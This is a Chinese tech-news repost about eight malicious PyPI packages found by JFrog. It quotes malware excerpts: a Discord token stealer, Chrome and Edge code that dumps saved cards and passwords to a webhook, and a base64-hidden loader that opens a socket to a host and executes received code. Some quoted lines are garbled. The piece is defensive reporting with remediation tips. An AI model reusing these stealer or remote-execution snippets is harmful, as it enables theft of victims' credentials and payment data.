PyPI又爆恶意代码,你中招了吗?

【VAX 小番茄安装详细步骤】 本文详细介绍了在VS2022环境下安装Visual Assist X(番茄助手)的步骤及常见问题解决方案。主要内容包括:安装前的兼容性设置(需修改为Windows7兼容模式)、安装流程(卸载旧版本、勾选对应VS版本、替换关键dll文件)以及常见问题处理(如安装失败、工具栏图标缺失等)。文章提供了完整的下载链接和操作截图,特别强调了安装失败后的清理方法(注册表、安装目录和残余文件删除)。最后给出了安装成功后的测试运行指引。 阅读详情

点击上方“编程派”,选择设为“设为星标”

优质文章,第一时间送达!

近日,有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。据估计,这些软件包的下载次数达到了 3 万次。

PyPI(Python Package Index)是 Python 的正式第三方软件包的开源软件存储库,它类似于 CPAN(Perl 的存储库)。pip 等一些软件包管理器就是默认从 PyPI 下载软件包。任何用户都可以下载第三方库和上传自己开发的库,目前通过 PyPI 可以下载超过 23.5 万个 Python 软件包。

但是,PyPI 软件存储库经常被滥用也成为一个不争的事实。2018 年,一位安全研究者 Bertus 对 PyPI 进行安全扫描时发现了 12 个有问题的软件包,其中包含可以导致安全隐患、开启后门甚至盗取比特币的恶意代码;2020 年腾讯洋葱反入侵系统发现 PyPI 被恶意上传了 request 钓鱼包,攻击者通过伪造 requests 包名进行钓鱼,能够对受感染的主机进行入侵,进而可能窃取用户敏感信息及数字货币密钥、种植持久化后门、命令控制等。

近日,DevOps 软件供应商 JFrog 的几位研究人员发表文章称,他们最近在 PyPI 中又发现了 8 个可执行一系列恶意活动的软件包,并且根据对 PePy 网站(一个提供 Python 包下载统计数据的站点)的搜索,这些恶意包的下载次数估计达到了 3 万。

他们表示,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。在收到研究人员的通知后,PyPI 的维护者 Dustin Ingram 迅速做出反应并删除了恶意软件包。

两类不同的恶意代码族构成系统性威胁

这一发现是近年来一系列攻击中最新的一个,这些攻击超过了开源存储库的接受能力,数以百万计的软件开发人员每天都依赖开源存储库。尽管软件存储库扮演着至关重要的角色,但它们往往缺乏鲁棒的安全性和审查控制,当开发人员在不知情的情况下感染恶意代码或将恶意代码嵌入他们发布的软件时,这一弱点有可能导致严重的供应链攻击。

JFrog 首席技术官 Asaf Karas 表示:「诸如 PyPI 这样的流行软件库中不断发现恶意软件包,这种趋势令人担忧,有可能导致更为广泛的供应链攻击。攻击者使用简单的混淆技术来引入恶意软件,这意味着开发人员必须时刻保持关注和警惕。这是一种系统性威胁,需要在包括软件存储库的维护人员和开发人员等不同层面上进行解决。」

与大多数 Python 恶意软件一样,这些包仅使用了简单的混淆技术,例如来自 Base64 编码器的混淆。在这 8 个恶意软件包中,前 6 个(noblesse、genesisbot、aryi、suffer、noblesse2 和 noblessev2)均包含 3 个有效负载,一个用于获取 Discord 账户的认证 cookie,第二个用于提取在浏览器存储的任何密码或支付款卡数据,第三个用于收集受感染 PC 的信息,如 IP 地址、计算机名和用户名。

有效负载 1:窃取 Discord 身份验证 token

noblesse 恶意软件族的首个有效负载是窃取 Discord 身份验证 token。身份验证 token 允许攻击者冒充最初持有 token 的用户,类似于 HTTP 会话 cookie。窃取 token 的有效负载基于臭名昭著的 dTGPG 有效负载,它是一个从未公开发布的生成器工具,但个性化 token 抓取器是公开共享的,并且一些示例也上传到了 GitHub。因此,Discord 身份验证 token 窃取器代码非常简单,它迭代一组硬编码的路径:

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')




paths = {'Discord': roaming + '\\Discord',
    'Discord Canary': roaming + '\\discordcanary',
    'Discord PTB': roaming + '\\discordptb',
    'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
    'Opera': roaming + '\\Opera Software\\Opera Stable',
    'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
    'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'}

然后读取这些路径下(特别是 Local Sotrage\leveldb)的所有的. log 和. ldb 文件,并查找 Discord 身份验证 token。所得结果通过 Webhook 上传到 Discord,所用参数如下:

{"type": 1,
  "id": "807327703082074143",
  "name": "Captain Hook",
  "avatar": null,
  "channel_id": "725001140324008047",
  "guild_id": "720931953251057725",
  "application_id": null,
  "token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}

有效负载 2:窃取自动完成敏感数据(信用卡和密码)

noblesse 恶意软件族的第二个有效负载可自动完成信息窃取。目前所有的现代浏览器都支持保存用户密码和信用卡信息的能力:

这种自动保存功能给用户带来了极大的便利,但缺点是,这些信息可能会被访问本地机器的恶意软件泄露。在这种情况下,恶意软件试图从 Chrome 窃取信用卡信息:

def cs():
    master_key = master()
    login_db = os.environ['USERPROFILE'] + os.sep + \
        r'AppData\Local\Google\Chrome\User Data\default\Web Data'
    shutil.copy2(login_db,
                 "CCvault.db")
    conn = sqlite3.connect("CCvault.db")
    cursor = conn.cursor()




    try:
        cursor.execute("SELECT * FROM credit_cards")
        for r in cursor.fetchall():
            username = r[1]
            encrypted_password = r[4]
            decrypted_password = dpw(
                encrypted_password, master_key)
            expire_mon = r[2]
            expire_year = r[3]
            hook.send(f"CARD-NAME:" + username + "\nNUMBER:" + decrypted_password + "\nEXPIRY M:" + str(expire_mon) + "\nEXPIRY Y:" + str(expire_year) + "\n" + "*" * 10 + "\n")

另外,从 Edge 中窃取保存的密码和信用卡信息:

login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'...
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
decrypted_password = dpw(encrypted_password, master_key)if username != ""or decrypted_password !="":
    hook.send(f"URL:" + url + "\nUSER:" + username + "\nPASSWORD:" + decrypted_password + "\n" + "*" * 10 + "\n")

有效负载 3:用户系统信息收集

noblesse 恶意软件族的第三个有效负载是收集中招用户系统的相关信息,并上传至上文提到的 Webhook。收集的信息包括如下:

  • IP 地址;

  • 计算机名;

  • 用户名;

  • Windows 许可关键信息;

  • Windows 版本;

  • 屏幕截图(使用 Pillow 的 ImageGrab)。

pytagora 恶意软件族:远程代码注入攻击

不过,Karas 表示前 6 个软件包具有感染开发者计算机的能力,但却不能用恶意软件感染开发者编写的代码。第二类恶意软件族则要简单得多,软件包的代码如下:

import mathimport base64,sys
def hello():
    exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))
def hypotenuse(a,b):
    hello()
    c = math.sqrt(math.pow(a,2) + math.pow(b,2))
    return round(c,2)
def other(c,x):
    y = math.sqrt(math.pow(c,2)-math.pow(x,2))
    return round(y,2)

模糊代码又被解码为了以下代码片段:

import socket,struct,times=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(('172.16.60.80',9009))l=struct.unpack('>I',s.recv(4))[0]
print (l)d=s.recv(l)
print (d)while len(d)>!1:d+=s.recv(l-len(d))
print (d)
exec(d,{'s':s})

简单地说,恶意软件试图连接 TCP 端口 9009 上的私有 IP 地址,然后执行从 socket 中读取的任何 Python 代码。

对此,Karas 表示:「对于 pytagora 和 pytagora2 这两个软件包,则允许在安装它们的机器上代码执行,这是有可能的。在感染了开发机器之后,恶意软件包允许代码执行,然后攻击者可以下载有效负载,从而修改正在开发的软件项目。我们没有证据表明恶意软件确实是这样执行的。」

机器中招,怎么办?

如果你在检查完 PyPI 依赖项后,确认 noblesse(或是克隆版本)已经在本地安装,你可以采取以下建议:

  1. 检查 Edge 中保存了哪些密码,并在每个网站上更改这些被泄露的密码(还包括重复使用相同密码的网站)。你可以这样做:打开 Edge,然后导航到 edge://settings/passwords。保存密码的完整列表(这些都是潜在的危害)可以在 Saved passwords 查看。

  2. 检查哪些信用卡信息保存在 Chrome,可以考虑在 Chrome 中取消这些信用卡。你可以这样做:打开 Chrome,导航到 chrome://settings/payments。完整的信用卡信息列表(这些都是潜在的危害)可以在 Payment methods 中查看。

如果你已经确定 pytagora(或者克隆版本)已经在你的机器上本地安装,尽管你的机器可能不会感染相关的恶意软件,但建议你还是遵循常用的恶意软件检查步骤进行检查,例如使用已安装的杀毒软件进行全面扫描。

来源:机器之心 编辑:杜伟、陈

参考链接:

https://www.secrss.com/articles/24477

https://www.freebuf.com/column/188051.html

https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/

https://arstechnica.com/gadgets/2021/07/malicious-pypi-packages-caught-stealing-developer-data-and-injecting-code/?comments=1&post=40097199

题图:pexels,CC0 授权。

厉害了,Pandas 的表格居然能变得怎么漂亮!


有了这款神器,轻松用 Python 写个 APP


Django 之美


高大上的数学科普视频,敲敲代码就能出来!


????分享、点赞、在看,给个三连击呗!????

【WRF-Urban】增加动态空间热排放数据以替换人为热排放参数 增加动态空间热排放数据以替换人为热排放参数 阅读详情

相关推荐

新手必看!Cisco Packet Tracer 8.2从安装到完成第一个局域网实验(附常见问题解决)

本文为网络新手提供了Cisco Packet Tracer 8.2的完整入门指南。从官方下载安装、界面熟悉,到核心的拖拽设备、连线、配置IP地址三步操作,手把手教你完成第一个局域网组网实验。文章重点讲解了如何通过Ping命令验证连通性,并附带了连线错误、IP配置不当等常见问题的解决思路,帮助初学者快速上手这款强大的思科模拟器。

android的专栏 870

什么是恶意代码?

本文旨在分享交流技术,在这里对恶意代码进行全面的介绍和讲解:恶意代码的定义,恶意代码的发展史,恶意代码的相关定义,恶意代码的攻击机制 PE病毒,脚本病毒,宏病毒,浏览器恶意代码,U盘病毒,网络蠕虫

luming的博客 3112

集成学习综述—bagging/随机森林/adaboost/GBDT/XGBoost/LightGBM/catboost 原理和代码介绍

集成学习介绍 文章目录集成学习介绍1 基本概念1.1 定义基本定义集成学习类别参考链接1.2 基学习器(CART)介绍公式介绍例子讲解代码实践参考链接1.3 偏差(bias)和方差(var)公式推导图解参考链接2 Boosting类2.1 原理2.2 AdaBoost2.2.2 公式推导2.2.3 优点与不足优点不足应用2.2.4 代码实践2.2.5 参考链接2.3 GBDT原理介绍代码实践参考...

fzl的博客 4619

网络安全之恶意代码

恶意代码是一种有害的计算机代码或 web 脚本,其设计目的是创建系统漏洞,并借以造成后门、安全隐患、信息和数据盗窃、以及其他对文件和计算机系统的潜在破坏。恶意代码不仅使企业和用户蒙受了巨大的经济损失,而且使国家的安全面临着严重威胁。1991年的海湾战争是美国第一次公开在实战中使用恶意代码攻击技术取得重大军事利益,从此恶意代码攻击成为信息战、网络战最重要的入侵手段之一。恶意代码问题无论从政治上、经济上、还是军事上,都成为信息安全面临的首要问题。让我们一起来认识一下恶意代码。 一、什么是恶意代码 恶意代码(Un

学而思(xiejava的blog) 2万+

利用eds editor生成CANOPEN 设备eds文件

通过以上步骤,您可以根据实际设备的功能特性,自动生成一份符合CANopen协议标准的电子数据表(EDS文件),该文件可以被上位机软件或其他CANopen主站设备用于识别、配置和控制您的CANopen从站设备。使用CANopen EDS Editor生成CANOPEN设备的EDS文件是一个系统化的过程,它涉及将设备的具体技术参数和功能映射到CANopen规范定义的对象字典中。

weixin_38604759的博客 6460

从Wi-Fi到蓝牙:手把手教你用Cadence Virtuoso搭建一个2.4GHz锁相环频率综合器(含PFD/CP/VCO模块设计)

本文详细介绍了如何在Cadence Virtuoso中设计一个2.4GHz锁相环频率综合器(PLL),涵盖从系统架构到模块级设计的全流程。重点解析了PFD、CP和VCO等核心模块的设计技巧与仿真验证方法,帮助模拟集成电路设计师掌握高频PLL的实现要点,满足Wi-Fi和蓝牙等无线通信标准的要求。

weixin_30315723的博客 418

恶意代码的分析及防治

恶意代码的分析及防治

qq_15156019的博客 2122

Ansys Zemax | 利用OpticStudio实现衍射光学元件(DOE)与超透镜(metalens)的高效建模与验证

本文详细介绍了如何利用Ansys Zemax的OpticStudio软件实现衍射光学元件(DOE)与超透镜(metalens)的高效建模与验证。通过混合建模策略、相位面等效建模法、POP与FDTD联合验证等多种方法,帮助工程师快速解决跨尺度仿真难题,提升设计效率与精度。文章还分享了实战案例与高级技巧,适用于AR、医疗内窥镜等应用场景。

weixin_29268331的博客 501

恶意代码

今天让我们来了解关于恶意代码的知识。首先我们应该明确什么是恶意代码?恶意代码是以某种方式对用户,计算机或网络造成破坏的软件,包括木马,计算机病毒,蠕虫,内核套间,勒索软件,间谍软件等。恶意代码分析主要有两种:静态分析(不运行程序)和动态分析(运行程序)。今天先写到这。未完待续。。。。...

薛定谔的博客 5818

F5 GTM DNS 实战指南:智能DNS的监控与健康检查机制

本文深入解析F5 BIG-IP GTM智能DNS的核心机制,重点阐述其监控与探针两大功能如何协同工作。监控器负责深度检查服务器应用健康,确保服务可用性;探针则实时测量网络路径质量,实现基于延迟的智能流量调度。文章通过实战配置步骤,指导如何构建逻辑架构、建立iQuery通信、配置业务级健康检查及探针,从而构建高可用、高性能的全局负载均衡解决方案。

weixin_29240711的博客 472

ARM架构实战:在鲲鹏920服务器上用Debian12部署PVE虚拟化平台

本文详细介绍了在基于ARM架构的华为鲲鹏920服务器上,以Debian 12为底层系统,部署Proxmox VE(PVE)虚拟化平台的完整实战流程。文章重点解析了ARM64架构下PVE软件源的配置、内核安装的注意事项、部署后网络与存储的调优,并提供了针对ARM虚拟化环境的性能优化建议,为在国产化硬件上构建稳定高效的虚拟化环境提供了宝贵经验。

efc12345678的博客 782

6.4 恶意代码

6.4 恶意代码

weixin_43263566的博客 1367

【微服务】Java 对接飞书多维表格使用详解

Java 对接飞书多维表格使用详解

congge_study的博客 1万+

下个软件包可能泄露信用卡信息,Python 包存储库 PyPI 又爆恶意代码,下载达 3 万次,你中招了吗?...

转自:机器之心近日,有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。据估计...

小詹学python的博客 429

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

下个软件包可能泄露信用卡信息,Python包存储库PyPI又爆恶意代码,下载达3万次,你中招了吗?...

点击 机器学习算法与Python学习 ,选择加星标精彩内容不迷路机器之心报道PyPI(Python Package Index)是 Python 的正式第三方软件包的开源软件存储库,它类似...

机器学习算法与Python学习 666

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

PyPI生态系统中恶意代码的实证研究(ASE 2023)

PyPI生态系统中恶意代码的实证研究(ASE 2023) An Empirical Study of Malicious Code In PyPI Ecosystem

akdjfhx的博客 1630

四川大学 | PyPI生态系统中恶意代码的实证研究,从零基础到精通,收藏这篇就够了!

PyPI作为Python包管理平台,为开发人员提供了便捷的工具来加速功能实现和提升工作效率。然而,PyPI生态的迅速扩展也伴随着恶意包的广泛传播问题。开发者通过将恶意包伪装成常规组件来威胁下游用户和项目的安全。当前,PyPI恶意代码检测领域面临着高质量、大规模数据集的缺乏,这限制了对该生态中恶意代码特征的深入了解。为应对这一挑战,本研究构建了一个自动化恶意代码收集框架,利用PyPI镜像站点及其他渠道收集高质量恶意代码数据,并在此基础上进行实证研究,以揭示PyPI生态中恶意代码的特性。

leah126的博客 1063

LiteLLM PyPI 包被植入恶意代码,请停止更新:pip install litellm,什么是LiteLLM库,如何下载、安装、配置

LiteLLM PyPI 包恶意代码植入事件摘要 事件概述:2026年3月,流行的Python包LiteLLM(AI统一接口库)在PyPI上的两个版本(1.82.7和1.82.8)被植入恶意代码,影响全球数百万次下载。攻击者通过.pth文件机制实现自动执行,无需导入即可窃取敏感数据。 主要危害: 窃取SSH密钥、云凭证、API密钥等敏感信息 通过Kubernetes横向扩散攻击 安装持久化后门服务 紧急应对措施: 立即停止更新LiteLLM 检查已安装版本 轮换所有相关API密钥 技术细节:攻击采用三级流程

猫头虎技术团队:授渔优于赠鱼,兴趣引领智慧,探索之乐尤显珍贵。商务合作+:Libin9iOak ,万粉变现+:优快云WF,猫头虎承诺每年免费为100名C站创作者做账号流量诊断服务!全网搜:猫头虎技术团队,点击文章底部名片或直接私信我一切皆可谈,快找虎哥! 3424

PyPI仓库 loggutils 组件内嵌恶意代码

PyPI仓库loggutils组件0.1.0版本内嵌恶意代码,属高危风险。安装后会窃取用户浏览器数据、剪贴板信息、系统文件,记录键盘输入并截取摄像头画面,同时实现远程控制。利用成本低,利用可能性中。建议立即排查是否安装该版本包,若已安装需彻底移除并扫描系统,检查异常进程与敏感信息泄露,加强依赖管理,仅从官方源安装组件并定期审计依赖安全。

murphysec的博客 249

恶意 Python 库偷 SSH 密钥!请自查是否中招

(给Python开发者加星标,提升Python技能)原创:Python开发者(id:PythonCoder)提示:最近一年安装 jellyfish 库的童鞋,请看完本文后自查一下。偷 S...

Python开发者 828

【安全通知】PyPI 官方仓库遭遇covd恶意包投毒

文|腾讯洋葱反入侵系统七夜、xnianq、柯南近日,腾讯洋葱反入侵系统检测发现 PyPI官方仓库被恶意上传了covd 钓鱼包,并通知官方仓库下架处理。由于国内开源镜像站均同步于PyPI官...

Tencent_SRC的博客 5830

LiteLLM PyPI包被植入恶意代码,请立即停止更新!pip install litellm用户必看:事件解析+自查指南+安全下载配置教程

只要你执行了 pip install litellm,以下东西会被打包带走: ✅ SSH 密钥 ✅ AWS/GCP/Azure 凭证 ✅ Kubernetes 配置 ✅ Git 凭证 ✅ 所有环境变量里的 API Key ✅ Shell 历史记录(对,你输入过的所有命令) ✅ 加密货币钱包 ✅ SSL 私钥 ✅ 数据库密码. LiteLLM PyPI 包被植入恶意代码,请立即停止更新!

官方推荐:站内优质创作者 1955

紧急预警:新型PyPI供应链攻击已渗透上千开源项目,你的环境中招了吗?

auto-generated

CodePulse的博客 790

恶意Python库混入PyPI,一年后被发现会窃取SSH和GPG密钥

近日,Python安全团队从PyPI(Python 的官方第三方软件存储库)中删除了两个存在木马后门的Python库,这些库被发现从被感染这些库的开发人员的项目中窃取SSH和GPG密钥。...

blackorbird的博客 559

危!Python 官方存储库 PyPI 再成“祸源”?

整理 | 郑丽媛出品 | 优快云(ID:优快云news)PyPI,作为 Python 的官方第三方软件包存储库,一直广受开发者欢迎,所有人都可以下载第三方库或上传自己开发的库到 PyP...

优快云资讯 4144
上一篇: 能告诉我哪种编程语言最难学吗?
下一篇: 什么网站啊?!居然比 Python 官网还牛逼
codingpy
博客等级 码龄11年 1873粉丝 104原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值